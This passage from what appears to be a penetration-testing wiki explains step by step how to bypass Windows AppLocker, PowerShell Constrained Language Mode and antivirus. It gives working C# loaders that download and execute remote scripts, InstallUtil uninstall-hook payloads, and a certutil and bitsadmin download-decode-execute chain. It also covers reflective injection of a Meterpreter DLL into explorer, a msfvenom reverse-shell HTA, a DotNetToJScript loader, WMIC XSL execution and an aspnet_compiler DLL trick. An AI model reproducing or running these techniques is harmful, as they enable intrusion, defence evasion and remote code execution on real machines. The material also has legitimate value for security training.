* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The DLL is loaded by &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;, so all code runs inside a trusted process. &lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
